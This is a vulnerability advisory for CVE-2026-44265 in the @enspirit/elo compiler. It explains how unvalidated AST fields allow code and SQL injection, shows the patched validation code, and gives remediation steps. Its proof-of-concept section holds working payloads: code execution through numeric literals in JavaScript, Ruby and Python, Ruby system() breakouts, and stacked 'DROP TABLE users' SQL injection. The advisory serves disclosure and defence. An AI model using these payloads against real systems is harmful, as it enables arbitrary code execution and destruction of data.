CVE-2026-44265: Code and SQL Injection via Programmatic AST Emission in @enspirit/elo

@enspirit/elo is a functional expression language designed for no-code and low-code applications. Rather than executing within a custom virtual machine, Elo operates as a source-to-source compiler that translates expressions into four target languages: JavaScript (compileToJavaScript), Python (compileToPython), Ruby (compileToRuby), and PostgreSQL SQL (compileToSQL). Applications typically use Elo to evaluate user-defined formulas, data transformations, or filtering queries safely across frontend, backend, and database layers.

In addition to parsing raw Elo expression strings, the library exposes a programmatic Abstract Syntax Tree (AST) and Intermediate Representation (IR) API. This API allows host applications to construct, manipulate, or deserialize AST structures directly (for example, from JSON payloads sent by visual expression builders or third-party plugins) and pass them directly to the backend compiler functions.

Prior to version 1.0.1, the compiler backends relied exclusively on compile-time TypeScript type definitions to guarantee the structural integrity of AST nodes. Because TypeScript types are erased at runtime, passing deserialized or untyped AST objects bypassed the lexical constraints normally enforced by the Elo text parser. This flaw is classified under CWE-94 (Improper Control of Generation of Code), CWE-89 (SQL Injection), and CWE-20 (Improper Input Validation).

When an application passes attacker-controlled AST fields to the compiler functions, the emitters concatenate or interpolate those fields verbatim into the target source code. Depending on the backend utilized by the host application, this results in arbitrary code execution within the JavaScript, Python, or Ruby runtime, or SQL injection within the PostgreSQL database.

The root cause of CVE-2026-44265 is an architectural trust boundary mismatch between the Elo parser and the backend code emitters (emitJS, emitPy, emitRuby, and emitSQL). When an expression is processed through the standard text parser, the lexer enforces strict token rules: numeric literals can only contain digits, and identifiers are restricted to alphanumeric characters and underscores ([a-zA-Z_][a-zA-Z0-9_]*). The backend emitters assumed that any AST or IR object received had already undergone this lexical validation.

When developers invoke the compiler APIs using programmatically constructed or JSON-deserialized ASTs, the parser is bypassed entirely. Although the TypeScript interfaces specify types such as number for numeric literals, JavaScript's dynamic runtime allows string values inside those properties when deserialized from JSON. Across at least 23 distinct emission sinks spanning seven AST node categories, the backend compilers interpolated these properties directly into output strings without runtime checks.

Specifically, numeric literal nodes (int_literal and float_literal) were emitted by calling ir.value.toString(). In JavaScript, calling .toString() on a String primitive returns the unmodified string itself. Consequently, an attacker supplying a string payload inside the value field of a numeric literal node caused the emitter to write raw executable syntax directly into a numeric expression context.

Similarly, identifier-like fields—including variable.name, member_access.property, object_literal keys, datapath segments, lambda parameter names, and let binding names—were concatenated directly into template literals. None of the four backends verified that these strings conformed to valid identifier syntax, allowing attackers to break out of the intended syntactic context using quotes, parentheses, semicolons, or subshell operators.

The vulnerability spans src/compilers/javascript.ts, src/compilers/python.ts, src/compilers/ruby.ts, and src/compilers/sql.ts. Prior to commit fb57dd37a2669d9c412454225c5b89a2adba5d93, the emitters performed raw template interpolation on IR properties. While version 0.9.7 had previously addressed string and date literals using JSON.stringify(), numeric literals and identifier fields remained unvalidated.

To remediate the vulnerability across all backends simultaneously, the maintainers introduced a centralized runtime validation module in src/compilers/_validate.ts:

// src/compilers/_validate.ts
const IDENTIFIER_RE = /^[a-zA-Z_][a-zA-Z0-9_]*$/;
 
export function assertNumericLiteral(value: unknown): number {
  // Enforces at runtime that the value is a primitive number and not NaN/Infinity
  if (typeof value !== 'number' || !Number.isFinite(value)) {
    throw new Error(
      `Invalid numeric literal value: expected a finite number, got ${typeof value} (${JSON.stringify(value)})`
    );
  }
  return value;
}
 
export function assertSafeIdentifier(name: unknown, context: string): string {
  // Enforces strict lexical rules matching the Elo parser's identifier grammar
  if (typeof name !== 'string' || !IDENTIFIER_RE.test(name)) {
    throw new Error(
      `Invalid ${context}: must match ${IDENTIFIER_RE}, got ${JSON.stringify(name)}`
    );
  }
  return name;
}
 
export function assertSafeDatapathSegment(segment: unknown): string | number {
  // Allows only safe integer array indices or strict identifier strings
  if (typeof segment === 'number' && Number.isInteger(segment)) {
    return segment;
  }
  if (typeof segment === 'string' && IDENTIFIER_RE.test(segment)) {
    return segment;
  }
  throw new Error(
    `Invalid datapath segment: must be a safe identifier or integer index, got ${JSON.stringify(segment)}`
  );
}

Each compiler backend was updated to invoke these assertion functions prior to string interpolation. For example, in the emitters, direct property accesses were replaced with validated calls:

// Before patch (Vulnerable emission pattern across backends):
case 'int_literal':
case 'float_literal':
  return ir.value.toString();
case 'variable':
  return ir.name;
case 'member_access':
  return `${ctx.emit(ir.object)}.${ir.property}`;
 
// After patch (Secured emission pattern):
case 'int_literal':
case 'float_literal':
  return assertNumericLiteral(ir.value).toString();
case 'variable':
  return assertSafeIdentifier(ir.name, 'variable name');
case 'member_access':
  return `${ctx.emit(ir.object)}.${assertSafeIdentifier(ir.property, 'member_access property')}`;

The fix is comprehensive with respect to the identified AST injection vectors. By enforcing a strict allowlist regex (^[a-zA-Z_][a-zA-Z0-9_]*$) on all identifier-like fields and verifying typeof value === 'number' with Number.isFinite() on numeric literals, the patch prevents syntactic breakout across all four target languages. Furthermore, restricting datapath segments to either safe identifiers or integers eliminates single-quote escaping flaws in SQL and symbol array breakouts in Ruby.

Exploitation requires a target application to accept untrusted input (such as a JSON object representing an AST or expression definition) and pass it to one of Elo's compilation functions (compileToJavaScript, compileToPython, compileToRuby, or compileToSQL), followed by executing the resulting code or query. No privileges or user interaction are required once the attacker can influence the AST structure.

Multi-Backend Remote Code Execution via Numeric Literals

Because int_literal and float_literal nodes call .toString() on ir.value, supplying a string containing an expression grouped in parentheses allows immediate code execution across JavaScript, Ruby, and Python:

// JavaScript RCE PoC
const jsAst = {
  type: 'literal',
  value: "(console.log('PWN_INT_JS'),1)"
};
// compileToJavaScript(jsAst) emits:
// (function(_) { return (console.log('PWN_INT_JS'),1); })(null);
 
// Ruby RCE PoC
const rubyAst = {
  type: 'literal',
  value: "(system('touch /tmp/pwn_int_ruby'); 1)"
};
// compileToRuby(rubyAst) executes system() when evaluated
 
// Python RCE PoC
const pyAst = {
  type: 'literal',
  value: "(print('PWN_INT_PY') or 1)"
};
// compileToPython(pyAst) evaluates arbitrary Python expressions

SQL Injection via Variable Names and Let Bindings

In the PostgreSQL backend (compileToSQL), undefined variables are emitted directly as column identifiers, and let bindings are emitted into SELECT ... AS <name> clauses. An attacker can inject stacked queries or arbitrary SQL expressions:

// Variable Name SQLi PoC
const sqlVarAst = {
  type: 'variable',
  name: "1; DROP TABLE users; --"
};
// compileToSQL(sqlVarAst) emits:
// 1; DROP TABLE users; --
 
// Let-Binding SQLi PoC
const sqlLetAst = {
  type: 'let',
  bindings: [{ name: 'x; DROP TABLE users; --', value: { type: 'literal', value: 1 } }],
  body: { type: 'literal', value: 0 }
};
// compileToSQL(sqlLetAst) emits:
// (SELECT 0 FROM (SELECT 1 AS x; DROP TABLE users; --) AS _let)

Ruby Command Execution via Datapath Segments and Lambda Breakout

In Ruby, datapath segments are emitted as a symbol array ([:segment1, :segment2]). By injecting a comma followed by a system() call or backticks, an attacker breaks out of the symbol syntax. Similarly, injecting closing parentheses into lambda.params[].name breaks out of the function signature in JavaScript, Python, and Ruby:

// Ruby Datapath PoC
const dpAst = {
  type: 'datapath',
  segments: ["a, system(`touch /tmp/pwn_dp_ruby`)"]
};
// compileToRuby(dpAst) emits:
// [:a, system(`touch /tmp/pwn_dp_ruby`)]
 
// Lambda Parameter Injection PoC
const lambdaAst = {
  type: 'lambda',
  params: [{ name: 'x); alert(1); (' }],
  body: { type: 'literal', value: 1 }
};
// compileToJavaScript(lambdaAst) emits:
// (x); alert(1); (() => 1

The vulnerability carries a CVSS v3.1 base score of 7.4 (High) with the vector CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. The Attack Complexity is rated High (AC:H) and Attack Vector Local (AV:L) because exploitation depends on the host application exposing the programmatic AST compilation API to untrusted inputs rather than using the standard Elo text parser.

When this prerequisite condition is met, the impact across Confidentiality, Integrity, and Availability is High (C:H/I:H/A:H). In applications compiling ASTs to JavaScript (Node.js or browser), Python, or Ruby, successful exploitation grants arbitrary code execution with the full privileges of the runtime process. Attackers can read environment variables, access internal network resources, modify application state, or establish persistent reverse shells.

In applications utilizing the compileToSQL backend with PostgreSQL, attackers achieve arbitrary SQL injection. Because the injected payload is placed directly into identifier or expression positions prior to query execution, standard parameterized query bindings ($1) do not prevent the injection. Depending on whether the database driver supports stacked queries and the privileges of the database user, an attacker can exfiltrate, modify, or destroy all data within the database.

The primary remediation is to upgrade @enspirit/elo to version 1.0.1 or later. Version 1.0.1 enforces strict runtime type checking and regular expression validation across all AST emission sinks in all four compiler backends, throwing a runtime Error if any numeric literal or identifier field violates lexical constraints.

> [!NOTE] > Upgrading to version 1.0.1 may cause runtime exceptions if an application relies on non-standard identifier characters (such as hyphens or spaces) inside programmatic AST variable names, object keys, or datapath segments.

If immediate upgrading is not feasible, integrators must implement strict schema validation at the application boundary before passing deserialized data to Elo compiler functions. Using runtime validation libraries such as Zod, TypeBox, or JSON Schema, verify that all literal numeric values satisfy typeof val === 'number' && Number.isFinite(val) and that all identifier fields match /^[a-zA-Z_][a-zA-Z0-9_]*$/.

Alternatively, if the host application does not strictly require programmatic AST ingestion, refactor the integration to serialize expressions into raw Elo code strings and pass them through the standard Elo text parser before compilation. Finally, adhere to defense-in-depth practices by evaluating compiled target code within restricted sandboxes (such as isolated V8 contexts for JavaScript) and executing generated SQL queries under least-privilege database roles.